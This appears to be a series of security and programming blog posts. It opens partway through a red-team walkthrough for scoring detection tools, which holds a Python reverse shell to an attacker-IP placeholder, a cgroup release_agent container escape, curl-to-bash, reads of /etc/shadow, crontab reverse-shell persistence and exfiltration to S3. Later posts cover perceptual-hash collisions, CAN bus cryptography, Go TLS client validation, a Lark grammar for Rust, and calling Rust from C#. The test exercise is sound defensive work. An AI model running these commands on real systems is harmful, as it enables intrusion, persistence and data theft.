OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}
# Commands to run on the host<
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((<YOUR ATTACKER IP HERE>,55554));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' > \${OUTPATH} 2>&1
__EOF__

# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}

# Set up the cgroup mount using the memory resource cgroup controller
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release

# Brute force the host pid until the output path is created, or we run out of guesses
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
  if [ $((${TPID} % 100)) -eq 0 ]
  then
    echo "Checking pid ${TPID}"
    if [ ${TPID} -gt ${MAX_PID} ]
    then
      echo "Exiting at ${MAX_PID} :-("
      exit 1
    fi
  fi
  # Set the release_agent path to the guessed pid
  echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
  # Trigger execution of the release_agent
  sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
  TPID=$((${TPID} + 1))
done

# Wait for and cat the output
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}

Then we're going to spawn another reverse shell and trigger the breakout from out attacker box

nc -lnvp 55554 &
curl <Your gist URL> | /bin/bash

Yay! We should now have a shell on the host machine as root!

3f - Recon and Cred. Access in the Host

Now we want to run some more actions that should raise alerts as we do some recon and credential access

whoami
hostname
cat /etc/os-release
uname -r
cat /etc/passwd
cat /etc/shadow
ls ~/.ssh

3g - Persistance in the host

Now we want to add some basic persistance. There are sneakier ways to get persistance but an incredibly simple (and common!) method is to modify the crontab to spawn a new reverse shell on a schedule. Make sure to check for <ATTACKER IP> placeholders and replace them with your values!

echo "* * * * * root python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"<attacker_ip>\",55555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")'" >> /etc/crontab

3h - Install some tools and exfil data

Please note that to run this step you'll need an s3 bucket and some write only IAM keys. You can change this to writing to any other file storage solution of your choice, however.

Now we want to install some quick tools, in this case the AWS CLI, and exfil some imaginary data that we created when we setup the victim box.

apt install -y unzip 
curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
unzip awscliv2.zip
sudo ./aws/install
# enter the access key id and secret key in this next step along with the region of your bucket
export PATH="/usr/local/bin:$PATH"
aws configure
aws s3 cp /data.enc s3://attack-sim-bucket/

There's nothing super special here, but if your box is on, say, Azure, someone installing the AWS CLI should probably be an alert.

4 - Check for Events and score

Now that we're run through our attack scenario, it's time to take some scores! I should really emphasize that these scores are just one possible weighting and you should disagree with me based on the risks that you're facing and the things that you think are most important! You might also want to change the weight and the events considered based on the type of tool you're evaluating or if you're evaluating multiple tools working in parallel with each other.

Event	Points	Observed?
Scanning	1
Command Injection - testing	2
Container Reverse Shell	3
Data Collection/Recon in Shell	2
Container Breakout	3
Host Reverse Shell	4
Data Collection/Recon in Host	2
Dumping `/etc/shadow`	2
Persistance via crontab	3
Attacker installed tooling	1
Exfil of data to s3 bucket	1
Natively alert on curl-> bash	2

Credits

Nothing like this gets done in a vacuum, so huge thanks to two members of my team who were instrumental in this most recent version of this test.

Jessica Wilson: LinkedIn
Oak Latt: LinkedIn

Conclusion

This is just a single possible test setup that you can use for testing and evaluating a security tool or a set of security tools. It is not by any means an exhaustive test, if anything it's extremely basic. But if you try it with your security tools I bet you'll be amazed at what is and isn't caught and you'll learn something valuable. There are some great resources out there for finding different methods to use with different platforms and threat scenarios. One of my favorites is Atomic Red Team.

Have you tried this? Do you have a different testing methodology? I'd love to hear all about it! Leave me a comment, or send me an email, or hit me up on twitter. Thanks!

Creating Image Hash Collisions

Jeremy Mill — Mon, 16 Aug 2021 17:30:14 +0000

Image Hashing

The problem

Say you have an API that allows customers to upload photos and you want to ban some set of nuisance photos. You might immediately think to use one of the hash functions you already know to check new uploads against a deny list. Hash functions like MD5, SHA1, or some other cryptographic hash function may come to mind. And this would work assuming that the photo never changes by even a single bit.

Unfortunately for us and our hypothetical API it is very easy to create two images that are perceived by a human to be the exact same, but whose cryptographic hashes are totally different. Take for instance the following two photos:

The left hand photo has a SHA1 sum of

bb3ff9bdf224e8a058d3c4c3c5fb0dd45034519b  wedding.jpeg

and the right hand photo has a SHA1 sum of

ed14e6d3eb42ad66d5a5f49e554b9e0f765da0cd  wedding-compressed.jpeg

A human would perceive these two photos to be the same image. The only difference is that the right hand photo has been compressed by 1%. This effect can also be achieved by cropping 1 row or column of pixels or changing one pixel in the image from grey to 'slightly-darker-or-lighter-grey', as well.

Other hashing methods

So, clearly cryptographic hashes aren't going to work for us here. There are just too many ways to modify an image without losing the ability for a human to perceive them as the same. One solution to this problem is a class of hashes known as perceptual hashes. Some perceptual hashes are aHash, pHash, and dHash. The one we'll discuss in detail here and provide a collision/collision generator for is known as difference hashing (dHash).

As far as I can tell, the definitive source on these hashes is a blog written by Dr. Neal Krawetz: http://www.hackerfactor.com/blog/ and For dHash specifically, you should read this post. If you read that post you should feel free to skip the next section as Dr. Krawetz goes more in depth than I will.

How dHash works

At a very high level the dHash algorithm is:

Create an 8x8 array of booleans that is the hash output
Convert an image to greyscale
Resize the image to a 9x8 pixels
For each pixel you compare the left hand pixel to the right
- If the right is brighter than the left, store True in the resulting hash array at the corresponding index
- otherwise store False
Flatten the hash array
Convert the bools to bits and turn it into a string
Return that string as a hash

So for example, our wedding photo from above when converted and compressed turns into:

And results in the following hash:

[[ True False False False False  True False False]
 [ True False  True False False  True False False]
 [ True  True False  True False  True  True False]
 [ True False False  True  True False  True False]
 [ True False False  True  True False False  True]
 [ True False False  True  True False  True  True]
 [ True  True False False False False  True  True]
 [ True  True  True False False  True False False]]

Where the first item in the hash matrix (0,0) is True because the pixel in the image at (0,0) is slightly darker than the pixel in the image at (0,1).

When this hash array is folded and turned into a string, it results in the dHash value 84a4d69a999bc3e4. According to Dr. Krawetz, who has a larger data set than I do, this method has a relatively low false-positive and false-negative rate and is significantly faster than the other perceptual hashes tested.

Creating Collisions

So, dHash is pretty cool! But what if I want to intentionally create a collision? What if I have two images and I want them to have the same dHash value while being perceived by a human to be totally different images? That was the question I asked myself and was surprised to find that no one had answered (as far as I could tell). To be fair, even if someone had answered it, I probably would have tried to do it myself anyway.

I will call the image whose hash we want to match the collision target and the image we're going to modify the mod image. My algorithm for creating a collision is:

get the hash for collision target
Divide the image into 9x8 sub-images
Iterate over the hash of collision target:
- calculate the current hash of mod_image
- if True: check that the sub-image to the right of the current is brighter than the current. If it's not, brighten it!
- if False: check that the sub-image to the right of the current is darker than the current. If it's not, darken it
- rebuild mod-image from the sub_images
Check the hashes for equality re-iterate as necessary (repeat step 3) to make sure that the sampling used during resizing doesn't break the collision

Example

Given the following two images where the left hand image is the collision target and the right hand is the mod image:

We can run the above algorithm and produce the following image which is a dHash collision with the collision target:

Both of these images have a dHash value of 0193210ed49192c8

Proof of concept code

Proof of concept code can be found here: https://github.com/LivingInSyn/image_collsion_gen

At current this code will not work on very dark images due to the fact that brightening black just results in...more black. I'll spend some time trying to make it work in those situations though.

Conclusion

I'm not sure where exactly attacker generated collisions would have the greatest impact. It would potentially allow a malicious actor to post a picture that would cause other legitimate pictures to get deny-listed which would result in a denial of service type condition. It could also allow a malicious actor to post images that are supposed to be denied by making it collide with a picture on an allow list. Ultimately it is simply proof that you should not expect these hashes to be perfect or collision resistant.

That this was fun code to write. It nerd sniped me super hard for a few days and there are a lot of ways to go from here. Expanding this code to generate collisions among multiple hash types would be a logical next step, or to find ways to make the image less perceptibly modified. I'd love to hear your ideas if you have them :)

CAN Bus Cryptography

Jeremy Mill — Wed, 08 Jan 2020 15:34:04 +0000

Updates

1/10/2020: added BLAKE/BLAKE2 to the HMAC section

Introduction

The CAN bus is a multi-master serial bus standard for connecting Electronic Control Units (ECUs) also known as nodes. The complexity of the node can range from a simple I/O device such as a low powered embedded/industrial microcontroller up to a computer with a CAN interface and sophisticated software and significant computational resources. Two or more nodes are required on the CAN network to communicate. CAN busses can be found in industrial settings, automobiles, aircraft, and many other industries.

There are two standards for the CAN bus. The first is high speed CAN as defined in ISO 11989-2. High speed CAN allows for bitrates of up to 1Mbit/s, or up to 5Mbit/s on CAN-FD (a newer CAN protocol in development). High speed CAN is limited to a maximum cable length of 40 meters which makes it unsuitable for many industrial applications.

The second standard is low speed/fault tolerant CAN, defined in ISO 11898-3. Low speed can allows for bitrates of up 125 kbps, with the maximum bitrate dropping with an increase in cable length. For the rest of this paper, we will assume low speed/fault tolerant CAN, though most of the considerations are the same.

The purpose of this article is to discuss the potential impacts of adding various cryptographic elements to CAN bus messages. Its purpose is NOT to propose a specific cryptographic solution, but to outline some of the potential cryptographic elements you might want to add including their benefits and drawbacks. Care was taken to propose only state of the art cryptographic elements.

The Problem

Communications security on the CAN bus is a fundamentally hard problem. The first reason why is that the bandwidth available limits the bits available to dedicate to cryptographic data. The second problem is that CAN is a linear bus with no built in authentication or authorization mechanisms. This means that only a single node can transmit at any time, and the transmitting node is controlled by the priority of the message it is sending. It also means that there is nothing stopping a node from creating fraudulent messages appearing to be from a different node address. As such the CAN protocol allows for an attacker to:

Selectively preempt messages it does not want to be delivered
- By listening for a specific message it wants to preempt and interrupting with a higher priority message
Create a denial of service condition on the bus
- By creating a stream of ‘junk’ highest priority messages
Create (or re-play) arbitrary messages pretending to be another node on the network

These attacks, if they can be mitigated, must be mitigated at a layer above the CAN bus protocol, in the data fields of the CAN packets. However, the bandwidth limitations discussed above combined with the real time nature of CAN bus systems severely limit the options available.

Solutions

Each of the potential mitigations below have benefits and drawbacks. To understand them we must first define some key properties of communications security systems. Once we have defined the key properties, you must determine what you want to protect, how much protection it needs, and then, using that information, select the best possible protection scheme.

Properties

Confidentiality

Confidentiality, or secrecy, is the property of being able to keep a message from being read by an adversary. That is, if an attacker is listening on the CAN bus, they would not be able to read messages in their original form. This is most often achieved through the use of encryption algorithms, such as AES.

Integrity

Integrity is the property of being able to ensure or detect that a message has not been modified by unauthorized parties. This can be achieved through many different mechanisms such as a Message Authentication Code (MAC), Hash Based Message Authentication Code (HMAC), cryptographic signature, or by using an authenticated encryption mode (AEAD) of a cipher.

Authentication

Authentication is the process or action of verifying the identity of a user or process. That is, if you receive a message from a node on a CAN bus you can positively verify that that message came from someone who possess some secret. If secrets are shared, such as in symmetric cryptographic systems (e.g. AES) you cannot verify that a particular node is who they say it is, rather just that it came from a node who possess the secret. This is because the secret is shared and not unique to each node. However, in asymmetric/public key cryptographic systems, you can verify that a node is who it says it is because the private key should only be held by a particular node, and not shared. This property is called non-repudiation.

Information Gathering

We would ideally like the encrypt and validate every message on the CAN bus, but we most likely cannot due to bandwidth and computational constraints. So we must define what it is that we are trying to protect. The most realistic scenario is that there is a subset of CAN messages which are the most important to secure. These are usually commands which will alter the behavior of the system communicating via the CAN bus. However, if you are constrained further, you may need to only select a subset of commands which alter the behavior of the system and that relate to safety of people and/or equipment.

Once you have defined your set or subset of messages, you must determine which of the three properties defined above you need to implement. For instance: if you are transmitting some kind of sensitive piece of data over the CAN bus, confidentiality may be the prime concern. However, if it’s simply that the command is genuine, from a trusted source, you may only need Integrity and Authentication and not Confidentiality.

Confidentiality Solutions

A confidentiality only solution would comprise of only one element: encryption. That is, taking the existing data and passing it through an encryption algorithm. Both symmetric systems and asymmetric cryptographic systems allow you to encrypt data, but due to the relative slowness of asymmetric systems vs symmetric systems, symmetric systems should be preferred in most cases. Note, asymmetric systems may be used to provide non-repudiation and secure a key exchange to establish a symmetric key.

The only symmetric algorithm that should be selected without a very careful analysis by a security professional is AES. However, just selecting AES does not guarantee security. Block ciphers, such as AES also have ‘modes of operation’ and those modes each have their own benefits and drawbacks. Regardless of which mode is selected, in the context of security on a CAN bus, the primary drawback to using AES on the CAN is the message size expansion. AES works on 128, 192 or 256 bit ‘blocks’ of data, with the increase in block size also increasing the level of security. If you have 1 byte of data that you want to encrypt, you must pad that data to 16 bytes for AES 128, 24 bytes for AES 192 and 32 bytes for AES 256. What may have been a single CAN packet with 1 byte is now, at a minimum, 2 packets and 16 bytes, a 160% increase.

It is important to note that selecting a ‘Confidentiality only solution’ may still leave you open to several different types of attacks such as (but not limited to):

Replay attacks
Block combination attacks
Padding oracle attacks
Bit flipping attacks

And may require additional messaging to be defined in your communications scheme to support key exchange, IV transmission, or nonce transmission. Each of these also adds to either the message size or adds a new message type to your communications protocol.

Another important thing to consider is the impact of using encryption on low power devices. The CAN bus is often used for real time systems and the delay caused by encrypting or decrypting data transmitted on the bus may be a significant problem for your application. Your hardware may or may not have AES acceleration or be able to support the memory footprint of the extra instructions.

Integrity Solutions

There are several options for providing integrity verification to messages. They each have their benefits and drawbacks, much like the confidentiality options. One option for providing integrity is an asymmetric cryptographic signature such as DSA or ECDSA. However, these signatures may be large and expensive to compute compared to a message authentication code (MAC) based on a symmetric key. A MAC is a piece of data added to a packet that is based on a shared secret and provides integrity and authenticity. An individual MAC created for a message is called a tag.

You should note that using an integrity only solution on its own does not prevent replay attacks and will not protect the confidentiality of the data. Anyone on the bus can read the contents of the message. To prevent replay attacks you could, for instance, add a counter to the message, but must still be cautious as this isn’t a foolproof solution.

There are several different types of MACs that can be considered.

Universal Hashing Based MACs

There is really only one universal hashing based MAC that should be considered: UMAC. UMAC is defined in RFC 4418 . It produces 32, 64, 96, or 128 bit length tags (with security increasing with the length of the tag). The following section from the RFC should be read to understand the selection of the MAC length:

UMAC with truly random keys and pads then the probability that an attacker (even a computationally unbounded one) produces a correct tag for any message of its choosing is no more than 1/2^30, 1/2^60, 1/2^90, or 1/2^120 if the tags output by UMAC are of length 32, 64, 96, or 128 bits, respectively (here the symbol ^ represents exponentiation). When an attacker makes N forgery attempts, the probability of getting one or more tags right increases linearly to at most N/2^30, N/2^60, N/2^90, or N/2^120. In a real implementation of UMAC, using AES to produce keys and pads, the forgery probabilities listed above increase by a small amount related to the security of AES. As long as AES is secure, this small additive term is insignificant for any practical attack.

UMAC requires two elements to be synchronized between the two nodes who are communicating. The first is a shared secret, distribution and security of which is not covered in this paper, and the second is a nonce. A nonce is an arbitrary number that can be used only once in a particular cryptographic communication. A nonce can be sent as part of the message in plaintext but MUST NOT BE REPEATED in conjunction with a particular key.

Thus choosing to use UMAC for integrity would require 32-128 additional bits per message and either:

A sufficiently sized random nonce such that it can be randomly generated without reuse
A nonce scheme such as a counter + key rotation scheme

There are other universal hashing based MACs such as Poly1305, but that adds even more data than UMAC (128 bit minimum), and VMAC, which is designed for 64 bit CPUs which are unlikely to be used on a CAN bus.

If used in conjunction with a confidentiality solution (like AES), UMAC must use a different secret than that used with AES

Block Cipher based MACs

There is only one block cipher based MAC that should be considered: AES-CMAC. CBC-MAC is another block cipher based MAC that is NIST approved, but should be avoided. AES-CMAC is a NIST approved MAC specified by RFC 4493 and also called OMAC1. Its tag size is 128, 192, or 256 bits in length and is based on the AES block cipher. This means that on boards that have AES acceleration, you may get some acceleration in the calculation of this MAC.

If used in conjunction with a with a confidentiality solution (like AES), you must use a different key for the MAC and for AES.

HMAC

Hash based message authentication codes (HMAC) are another option that should be considered. HMACs are based on cryptographic hash functions such as the SHA family of hashes and a secret key. The first cryptographic hash function that should be considered is the SHA family of hashes. Due to limited bandwidth you should probably only consider SHA-1. A SHA-1 based HMAC will add 160 bits to your message. Note that the cryptogrphic attacks against SHA-1 which result in collisions do not effect the security of SHA-1 when used as an HMAC.

You may also consider BLAKE and BLAKE2. BLAKE3 was recently released as well, but at the time of writing is Rust only, which won't be suitable for many embedded devices (yet). The BLAKE family of cryptographic hash functions tends to be slightly faster than SHA-1 (see: https://blake2.net/). It also has 'Keyed Hashing' built in, which makes creating MACs very easy (and fast). BLAKE/BLAKE2 also has support for configurable digest sizes, which means it can create tags of the same size as SHA-1.

If used in conjunction with a with a confidentiality solution (like AES), you may use the same key for the MAC and for AES.

Combined Confidentiality and Integrity Modes

There are ciphers/cipher modes of operation that combine confidentiality and integrity. Ciphers that do so are called either ‘Authenticated Encryption’ (AE) or ‘Authenticated encryption with associated data’ (AEAD).

Authenticated Encryption

Authenticated encryption schemes that should be considered follow the ‘Encrypt-then-MAC’ paradigm. Use a cipher like AES in an appropriate mode of operation to produce cipher text, then put the cipher text through a MAC function. These functions should use separate keys unless an HMAC is used (such as HMAC-SHA1). The message then consists of (CipherText + MAC)

On the receiving side, the MAC tag is verified, then the data is decrypted if the tag is valid. An AES-128 cipher combined with AES-CMAC would result in a data packet with a minimum size of 256 bits (32 bytes) which is 4 CAN packets without adding any additional data (such as a counter) to prevent replay attacks.

Authenticated Encryption with associated data

There are several different AES modes that provide encryption and message integrity in one pass. There is one clear option that’s above all of the others: AES in Galois Counter Mode (AES-GCM). This mode is license free and extremely fast when compared to other AEAD modes of operation. In one pass, you can generate an AES encrypted cipher text and a MAC tag. The MAC tag produced is the same size as the block size being used with AES: 128, 192, or 256 bits. This mode will most often be preferred over encrypt-then-mac because of its speed.

If you’re curious about the other modes, I will defer to Matthew Green: Other AEAD modes

Authentication

The modes above provide authentication only in the sense that you know by virtue of being able to decrypt the message or validate a MAC (or both) that the other person has a copy of the correct key or keys. However, if you want to validate that a device is a particular device, and cannot be another device, you need non-repudiation provided by an asymmetric cryptographic system. While encrypting data (providing confidentiality) is possible with PKI, it is much slower than its symmetric counterparts (like AES), so we won’t consider if for the CAN bus. We will consider the effect of using cryptographic signing. There are two types of PKI that can be used, RSA and Elliptic Curve Cryptography (ECC). Cryptographic signatures for RSA are defined by public key cryptography standards (PKCS) and cryptographic signatures for ECC are defined by elliptic curve digital signature algorithm (ECDSA).

For ECDSA, the minimum signature size is 64 bytes (8 CAN packets).

For RSA (PKCS#1) the minimum signature size is 256 bytes (32 CAN packets).

It goes without saying that these signature sizes are quite large for a CAN bus and, while they may be required, should be used sparingly. Furthermore, they are also expensive to compute and/or verify compared to their symmetric peers.

The signature size does not include the transmission of a certificate chain, which may be required to authenticate a device, and would require a significant amount MORE data to be sent. Transmission of the certificate chain can be avoided or reduced in scope, but it requires careful design of the system, and reduces flexibility in your public key infrastructure.

Conclusions

Cryptography is hard. Cryptographic systems are even harder. The devil is in the details with each of these systems and the cost benefit analysis is non-trivial. It is extremely important to note that the primary focus of this document is NOT to provide guidance on what cryptographic elements you should choose for your cryptographic system and it does NOT provide guidance on how to build a complete cryptographic system that is immune to all attacks or even the attacks that you care most about preventing. What attacks you defend against is part of the compromises you will have to make when designing a system operating on a CAN bus. Instead, the focus of this paper was to provide information on the impact of various cryptographic elements on size of messages on the CAN bus and also discuss some of the impacts of adding these cryptographic elements on the performance of devices that will be required to perform them.

Links

1) https://github.com/CANToolz/CANToolz
2) http://illmatics.com/carhacking.html?_sm_nck=1
3) https://tools.ietf.org/html/rfc4418
4) https://blog.cryptographyengineering.com/2012/05/19/how-to-choose-authenticated-encryption/

Validating Client Certificate SANs in Go

Jeremy Mill — Thu, 24 Jan 2019 17:17:05 +0000

Go has one of the best TLS libraries available in any programming language, for it's my language of choice for doing networking tasks. So I was a bit surprised to learn that, by default, when you set tls.RequireAndVerifyClientCert on a tls.Config object, it doesn't verify the SAN/CN field on that client cert. The only thing it will verify is that it is signed by the configured root CA.

Setting go up to perform this validation was not quite as intuitive as I first believed it would be and I hope that I can help you with it if you have the same need as myself.

Starting Point

Lets say you have a starting point of a generic tls config like this:

serverConf := &tls.Config{
    Certificates: []tls.Certificate{cer},
    MinVersion:   tls.VersionTLS12,
    ClientAuth:   tls.RequireAndVerifyClientCert,
    ClientCAs:    rootCAs,
}

Here we've defined a server certificate, a minimum TLS version, the root CA's to use and that we need to verify client certificates. Right now, client certificates would be validated as signed by a CA in the rootCA's CertPool, but nothing else.

Custom Client Cert Validation

The tls.Config object has a callback that looks very promising called VerifyPeerCertificate that takes in a method with this signature:

func(rawCerts [][]byte, verifiedChains [][]*x509.Certificate) error

The problem is that this doesn't have any of the client connection information passed it it for us to validate the connecting host! Luckily for us, there's another callback called GetConfigForClient. GetConfigForClient is another callback on the tls.Config object which gives us the tls.ClientHelloInfo as an argument. and returns a per-client tls.Config (or nil for no-change) object.

The answer is to use GetConfigForClient to call a function which returns a closure that matches the VerifyPeerCertificate signature but makes the ClientHelloInfo available to it.

Our server tls.Config now looks like:

serverConf := &tls.Config{
    Certificates: []tls.Certificate{cer},
    GetConfigForClient: func(hi *tls.ClientHelloInfo) (*tls.Config, error) {
        serverConf := &tls.Config{
            Certificates: []tls.Certificate{cer},
            MinVersion:            tls.VersionTLS12,
            ClientAuth:            tls.RequireAndVerifyClientCert,
            ClientCAs:             rootCAs,
            VerifyPeerCertificate: getClientValidator(hi),
        }
        return serverConf, nil
    },
}

and our stubbed out getClientValidator function looks like:

func getClientValidator(helloInfo *tls.ClientHelloInfo) func([][]byte, [][]*x509.Certificate) error {
    return func(rawCerts [][]byte, verifiedChains [][]*x509.Certificate) error {
        return nil
    }
}

At this point there has been essentially no change to the functionality from where we started. Clients still connect, and their certificates are validated, but their SAN's are not.

Validating SANs

To validate the SAN's on the client certificate we need to modify the getClientValidatormethod. In order to avoid writing our own validation methods, we can utilize the same validator that's used by default when we specify tls.RequireAndVerifyClientCert on our config object. All we need to do is add some additional options to its configuration object.

func getClientValidator(helloInfo *tls.ClientHelloInfo) func([][]byte, [][]*x509.Certificate) error {
    return func(rawCerts [][]byte, verifiedChains [][]*x509.Certificate) error {
        //copied from the default options in src/crypto/tls/handshake_server.go, 680 (go 1.11)
        //but added DNSName
        opts := x509.VerifyOptions{
            Roots:         rootCAs,
            CurrentTime:   time.Now(),
            Intermediates: x509.NewCertPool(),
            KeyUsages:     []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth},
            DNSName:       strings.Split(helloInfo.Conn.RemoteAddr().String(), ":")[0],
        }
        _, err := verifiedChains[0][0].Verify(opts)
        return err
    }
}

This now validates the client's certificate against the root CA's we specified at our starting point, the client's certificate key usage, and the DNSName of the client connecting. The strings.Split saves us from including the RemoteAddrport number in the DNSName field, and won't screw anything up if it's an actual DNS name.

There it is, I hope you find this useful! You can find all of the code in a single, small server.go example here

Translating Rust to other languages (Pt 1- Context Free Grammar)

Jeremy Mill — Sat, 03 Feb 2018 03:03:55 +0000

Overview

At my place of current employment I write libraries in Rust which are called by other languages, on multiple operating systems, on multiple platforms. Furthermore, it involves taking in streams of data from different communications buses and decoding it into usable forms by other developers on those other platforms, in those other languages! As a result, I've got rust projects with hundreds of structs that are exposed through a Rust FFI.

I have zero desire to maintain those translations by hand, so I wrote a tool to do it for me. There are multiple ways to go about this, I could have written a naive translator which goes line by line and and expects the rust structs to look a very specific way. That, however, would not have been maintainable, or able to be shared, so I instead used a parsing library called Lark. Lark allows me to write a context-free grammar to specify the language I'm expecting, and provide a nice interface for me to turn defined symbols into python objects which are easy to work with. Once I have those objects, building source code in other languages is fairly trivial.

You can see the whole project here: https://github.com/LivingInSyn/Rust_Api_Generator

The Context Free Grammar

I won't go into too much detail on all of the ins and outs of writing a grammar. I will mostly be focusing on the grammar that I wrote. Lark has a good tutorial here, which goes much more in depth

When writing a grammar from scratch, I find that it's best to work from the inside out. That is, start with the most basic element, and work backwards. Thing names (variables, structs, etc) are a great place to start, and that's where we'll start today. We'll call our first symbol 'name' and it looks like this:

?name: /[a-z_A-Z][a-z_A-Z0-9]*/

The question mark operator in front says, if there's only one child of this symbol, don't wrap it in another object (when it's parsed), just give me the child. The ? is followed by the name of our symbol, which in this case is simply 'name'. Next is a regular expression which defines what a name can look like. In this Case, it's an upper or lowercase A-Z, or an underscore, followed by an unlimited number of alphanumeric characters and underscores.

Next we're going to define something we call an rtype. This won't make much sense until we make it further in the grammar, but suffice to say, an rtype is defined as either a name, or an array declaration. It looks like this

?rtype: name
    | array

Once we have a definition for an rtype, we can define a pointer modifier that we'll use in other declarations.

pointer: "*" mutable
    | "*" const

mutable: "mut"
const: "const"

Here we defined 3 symbols, pointer, mutable and const. We made mutable and const their own symbols because we want to be able to perform different actions based on their properties. Pointer is defined by the string "*" followed by one of those two symbols, which are in turn, defined by strings

Once we have a definition for an rtype and a pointer, we can define something called a 'modified type' This tells us if we're looking at a name in another declaration if it's a pointer or not. The brackets ([]) around the pointer symbol indicate that it's optional. Thus

*mut i16

and

i16

would both be matched by the ?modifiedtype symbol.

?modifiedtype: [pointer] rtype

Now lets backtrack a moment and define 'array' because we already used it in our rtype definition. Array is defined by an opening bracket, a modifiedtype, a semicolon, one or more digits that starts with 1-9 (can't be 0). Lastly, it must end with a closing bracket.

array: "[" modifiedtype ";" /[1-9]{1}[0-9]*/ "]"

Now that we've got a good handle on what some of the context free grammar rules look like, lets skip ahead a bit and see the rest of what we need to define a struct

reprc: "#[repr(C)]"

comment: /\/\/[^\n]*/

decl: [ispub] name ":" modifiedtype [","]
    | comment

?ispub: "pub"
struct:  [reprc] [ispub] "struct" name "{" decl+ "}"

Here we define the repr(C) instruction to rust which tells rust to have this struct use C-compliant memory layout. We'll use this (and pub) to decide which structs to translate. If it's not repr(C) and pub, it doesn't make sense to translate it, since it won't work over an FFI interface. We declare that a decl is a combination of if it's public or not, a name, a colon, a modified type, and an optional comma. It can also be comment, since we allow comments inside of struct definitions. It's worth noting here that we intentionally designed the grammar to NOT handle multiline comments. A preprocessor will remove them later. We want single line comments to move over, NOT multiline comments.

We define a struct as possibly reprc, possibly public, the word struct, a name, an opening brace, one or more decl's and a closing brace.

Next, we're going to define a few symbols that we're not going to translate between languages. We have to define them in our grammar so that it doesn't break when we parse the file. They are 'using' statements, 'extern crate' statements and 'impl' statements. The definitions are here:

externcrate: "extern" "crate" name [optionalas] ";"
?optionalas: "as" name

usedecl: "use" namespace+ ";"
?namespace: ["::"] name

impl: ["unsafe"] "impl" name "for" name "{}"

The final step is to define a start point for the file and a top level definition. There's also some instructions for Lark, basically ignore whitespace, and handle things as strings wherever possible.

?statement: struct
    | usedecl
    | comment
    | impl
    | externcrate

?start: statement+

//for use by lark
%import common.ESCAPED_STRING
%import common.WS
%ignore WS

The full context free grammar can be found here

Using the CFG

Now that we've got a CFG, lets parse it into an abstract syntax tree. We will work on the following rust struct as a starting point:

#[repr(C)]
pub struct bar {
    pub unsigned_32bit: u32,
    pub arraytest: [u8;10],
    pub pntr_array: [*mut c_char;4],
}

Next, we'll run the following python code. Basically, we're creating the parser, passing it in our grammar file that we made in the previous section. Then we're asking it to parse some input, and print the resulting syntax tree, in a pretty way.

from lark import Lark

gf = open("rgrammar.g", 'r')
parser = Lark(gf.read(), parser="lalr")
tree = parser.parse('''#[repr(C)]
pub struct bar {
    pub unsigned_32bit: u32,
    pub arraytest: [u8;10],
    pub pntr_array: [*mut c_char;4],
}''')
print(tree.pretty())

running this code gives the following output:

struct
  reprc
  ispub
  bar
  decl
    ispub
    unsigned_32bit
    u32
  decl
    ispub
    arraytest
    array
      u8
      10
  decl
    ispub
    pntr_array
    array
      modifiedtype
        pointer
          mutable
        c_char
      4

This is our abstract syntax tree. We can see that the struct has a reprc on it, is public, is named bar, and that it has 4 decl's in it, with all of their associated fields.

Conclusion

In this article, we talked about creating the CFG and using it to create a basic abstract syntax tree using Lark. In the next section(s), we'll use this information to massage the objects created by lark into a more usable form, and then finally, output code in other languages.

Calling Rust from C#

Jeremy Mill — Mon, 02 Oct 2017 20:43:08 +0000

Intro

This is a guide for creating a Rust DLL and calling it from C#. We will cover native return values as well as structs. This guide assumes a windows environment, and also assumes that you have installed rust and set up a c# development environment.

Rust Project Setup and Dependencies

It's pretty simple to create a rust library and get it to compile into a DLL. First, navigate to the folder where you want your project and run the following command:

cargo new cs_call_rst

This will create a new folder named cs_call_rust, and initilize it with a 'src' folder and a cargo.toml file. We can build our new project by changing into the newly created cs_call_rust folder and running:

cargo build

After running this command, you'll notice that there is now a new folder named target and it contains a folder named debug and in it are the output of our build. However, there's a problem, we didn't build a dll, we built a .rlib file. To tell the rust compiler to create a dll, open up cargo.toml and make it look like the following:

[package]
name = "cs_call_rst"
version = "0.1.0"
authors = ["Jeremy Mill <jeremymill@gmail.com>"]

[lib]
name="our_rust"
crate-type = ["dylib"]

[dependencies]

The [package] section tells the compiler some metadata about the package we're building, like who we are and what version this is. The next section, [lib] is where we tell the compiler to create a DLL, and name it 'our_rust'. When you run cargo build again, you should now see our_rust.dll in the output directory.

First external rust function

Now that we've got our project all set up, lets add our first rust function, then call it from c#. Open up lib.rs and add the following function:

#[no_mangle]
pub extern fn add_numbers(number1: i32, number2: i32) -> i32 {
    println!("Hello from rust!");
    number1 + number2
}

The first line, #[no_mangle] tells the compiler to keep the name add_numbers so that we can call it from external code. Next we define a public, externally available function, that takes in two 32 bit integers, and returns a 32 bit integer. The method prints a 'hello world' and returns the added numbers.

Run cargo build to build our DLL, because we'll be calling this function in the next step.

C# project setup

I'm going to make the assumption that you're using visual studio for c# development, and that you already have a basic knowledge of c# and setting up a project. So, with that assumption, go ahead and create a new c# console application in visual studio. I'm naming mine rust_dll_poc.

Before we write any code, we need to add our DLL into our project. Right click on our project and select add -> existing item -> our_rust.dll. Next, in the bottom right 'properties' window (with the dll highlighted), make sure to change 'Copy Output Directory' from 'Do not copy' to 'Copy always'. This makes sure that the dll is copied to the build directory which will make debugging MUCH easier. Note, you will need to redo this step (or script it) with every change you make to the DLL.

Next, add the following using statement to the top of our application:

using System.Runtime.InteropServices;

This library will let us load our DLL and call it.

